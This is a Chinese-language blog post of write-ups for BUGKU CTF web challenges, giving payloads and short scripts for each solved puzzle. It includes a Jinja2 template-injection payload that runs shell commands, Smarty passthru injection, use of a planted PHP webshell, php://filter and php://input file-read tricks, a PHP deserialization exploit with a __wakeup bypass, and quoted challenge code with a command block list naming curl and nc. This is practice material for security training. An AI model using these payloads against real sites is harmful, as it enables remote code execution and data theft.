2021-BUGKU-做题记录-WEB

1、Simple_SSTI_1

在这里插入图片描述
进行判断 {{2*'7'}}=77
那么就是jinjia2的注入模板
先进行第一步尝试

{{[].__class__.__base__.__subclasses__()}}

查找在这里插入图片描述
判断其位于177为
在这里插入图片描述
但是往下走不通了,需要另辟道路
想了半天,就直接config吧
好吧,直接出来了
在这里插入图片描述
ps:自己想复杂了

2、Simple_SSTI_2

在这里插入图片描述
一样,{{[].__class__.__base__.__subclasses__()[177].__init__.func_globals.keys()}}
走不通
那么继续config吧
在这里插入图片描述
继续走不通,哎找找jinja的万能模板看看
发现还是得走{{[].__class__.__base__.__subclasses__()[177].__init__.func_globals.keys()}}这条路,但是可以万能编码直接运行

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

在这里插入图片描述

3、待定

4、滑稽

在这里插入图片描述

view-source:

在这里插入图片描述

5、计算器

在这里插入图片描述
两种方案:
(1)直接修改输入限制
在这里插入图片描述
在这里插入图片描述
(2)直接抓包POST输入

6、GET

在这里插入图片描述
没什么好说的

7、POST

在这里插入图片描述
post包传输一下

8、矛盾

在这里插入图片描述
传输进去的参数num不能是数字,但是又要赋值为1
这里就要去查看is_numberic这个函数的漏控
两种方案:

(1)num=1a
 (2) num=1=1|1

9、alert

疯狂弹窗
那么就简单了
把js关掉
查看源代码
在这里插入图片描述
在这里插入图片描述
html编码,直接就用burpsuite进行解密

10、你必须让他停下

疯狂的重定向,那么就简单了
在这里插入图片描述
抓包放包就好了

11、社工-初步收集 待定

12、game1

在这里插入图片描述
看看反向包的传参
那么就可以直接看出来

http://114.67.246.176:11983/score.php?score=25&ip=222.76.243.167&sign=zMMjU===

分数是25分,后面那一串还看不出规律,多叠一层看看
在这里插入图片描述
那么后面那串参数可能是叠的楼层几层的说法
那么就base64继续看看,发现也不对,那么是分数的意思?再看看
发现这里面还挺有意思
sign=zM+base64(分数)+’==’
构造一个大分数
在这里插入图片描述

13、黑客

在这里插入图片描述
然后需要输入密码 爆破一下
在这里插入图片描述

14、本地管理员

在这里插入图片描述
登陆密码在源代码里
主要思路:xff
在这里插入图片描述

15、eval

在这里插入图片描述

var_dump(file('flag.php'))

https://blog.csdn.net/fastergohome/article/details/102514264

16、变量1

在这里插入图片描述
这边就很微妙了
有了这个eval("var_dump($$args);")
处理一下,让他成为 var_dump($GLOBALS)

?args=GLOBALS

17、头等舱

在这里插入图片描述
直接看头部信息

18、待定

19、待定

20、源代码

源代码
在这里插入图片描述
发现是js加密,那么就浏览器就可以解密了
在这里插入图片描述
拼接起来
在这里插入图片描述
将其输入框内即可。

21、文件包含

在这里插入图片描述
直接源码展示

?file=php://filter/read=convert.base64-encode/resource=index.php

答案就出来了

22、好像需要密码

在这里插入图片描述

23、备份是个好习惯

直接index.php.bak

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}

主要是有替换,那么就直接构造
在这里插入图片描述

24、No one knows regex better than me 待定

25、cookie欺骗

http://114.67.246.176:18954/index.php?line=&filename=a2V5cy50eHQ=

这里filename就是base64的文件名
line就是行数
那么简单了,index.php,然后再写脚本进行输出

import requests
for i in range(1,50):
    url = 'http://114.67.246.176:18954/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
    res = requests.get(url)
    print(res.text)

直接看到源代码

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);



if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}



if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

直接就是抓包
Cookie:margin=margin
还有base64(keys.php)

26、never_give_up 待定

这题要着重讲一下
第一个雷区
在这里插入图片描述
这个会重定向,那么bp又抓不到,第一个点,就是关闭js。
在这里插入图片描述
第二个点,这个url和base64的解密,用bp时最好用的(真的神器)
在这里插入图片描述
代码:

<!--";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}


?>-->" 

这里面的几个注意点
1、file_get_contentsphp://input
2、eregi 这个用%00截断
3、id不能空和0,这个真的台鸡贼了
在这里插入图片描述

?id=aa&b=%00abcdef&a=php://input

27、shell

在这里插入图片描述
这边已经有木马了,那么就简单了

?s=system('ls')
?s=system('cat flaga15808abee46a1d5.txt')

28、成绩查询 待定

29、秋名山车神

在这里插入图片描述
这道题就是要用脚本跑数字,然后就可以直接传参
这里面就有第一个点,传参的参数是什么,那么就是多刷新了
在这里插入图片描述
知道传value的参数,那么就是写代码了

import requests
import os
import re
import json
session = requests.session()
url = 'http://114.67.246.176:12448/'
res = session.get(url).text
res_one = re.findall('<div>(.*?)</div>',res)
res_two = str(res_one)
res_three =res_two[2:-5]
res_four = eval(res_three)
value = res_four
data={
    'value':res_four
}
#data=json.dumps(data)
res_five = session.post(url,data=data).text
print(res_five)
print(res_four)

这里面的代码我也是多次调试,这里写几点注意事项

1、要用session保持会话,那么就是保证第一时间传参
2、eval的数字要str化
3、传参用data

30、聪明的php

在这里插入图片描述
smarty模板注入,那么就换一下过滤函数,一切就很简单了

?flag={{passthru('ls /')}}
?flag={{passthru('tac _6742')}}

这里就是要注意一点,多看看源代码

31、xxx二手交易市场 待定

32、冬至红包

在这里插入图片描述
代码分析一下,那么就是
长度绕过和过滤词绕过,最后再来一个判断,那么一步一步来

flag=return'270bd8044df4f08635abced6ce1d9e553b8fe5505f';

计算下长度
在这里插入图片描述
长度49
那么接下来就是绕过关键词和对比

主要从后面的sha1对比,没办法对比,那么就直接在eval就输出把,eval(echo flag)
接下来就是构建了,这里面又短标签绕过,两个关键信息?>和<?=$a =?>
构建一下

flag=$a=blag;$a{0}=f?>11111111111111111111111<?=$$a%20?>

在这里插入图片描述

33、sodirty

34、字符?正则?

在这里插入图片描述
看代码,就是要匹配正则

/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i

分析一下

key+(.?)+key+.{4,7}+key:+/.+/+(.?)+key+[a-z]+标点符号/省略大小写

比如:key1key1111key:/./akeya?
在这里插入图片描述

35、前女友

看提示,查看源代码,可以看到源代码

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

这个就很常见了,前面的v1和v2很好处理,数组或者碰撞都可以
v3不要陷入盲区,v3==flag时是0,所以用上!时才是要的答案,这里面就是要v3=flag,那么很简单了,v3用成数组形式,这题就解决了,那么构造下函数

?v1=240610708&v2=s878926199a&v3[]=2

36、 login1

登陆注册界面,可以考虑下约束攻击
注册时的时候
账号
admin 1
密码
Aa123456
注册成功后,用admin登陆,就可以知道flag了
在这里插入图片描述

37、你从哪里来

看看题目
在这里插入图片描述
立马想到referer
试试看
在这里插入图片描述
成功了

38、MD5

在这里插入图片描述
说实话,这题很没用水平,输入a然后源代码没有给,谁知道要干么
然后呢,试了一下0e就成功了,没啥好做的

40、程序员本地网站

这题也很没有水平
在这里插入图片描述
本地访问,那么就是X-Forwarded-For:127.0.0.1
在这里插入图片描述

41、各种绕过哟

熟悉了套路也就没什么好做的了
在这里插入图片描述

GET:uname[]=123&id=margin
POST:passwd[]=221

在这里插入图片描述

42、file_get_contents

在这里插入图片描述
主要的解题思路在file_get_contents这里
使用php://input绕过

get:?ac=1&fn=php://input
post:1

在这里插入图片描述

43、安慰奖

在这里插入图片描述
base64一下,backups,就是备份的意思,试一下index.php.bak,得到源代码

<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗?<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧,hhh!</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

核心宗旨就四点
一、序列化
二、有__wakeup干扰
三、username === 'admin'
四、/cat|more|tail|less|head|curl|nc|strings|sort|echo/i过滤
实现:
一、反序列化
二、__wakeup绕过
三、先ls试水
四、protected乱码补充 %00*%00
先ls试水

<?php
class ctf
{
    protected  $username='admin' ;
    protected  $cmd ='ls';
}
$a = new ctf();

$b = serialize($a);
echo $b;
?>

而后用tac直接上tac flag.php
在这里插入图片描述

44、文件上传 待定

45、decrype 待定

46、文件包含2 待定

47、需要管理员

这题就很无语
先看看robots.txt或者扫描一下
接下来就是
在这里插入图片描述
弱口令爆破一下,还以为需要XFF,结果都不要
直接x=admin 确实莫名其妙
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值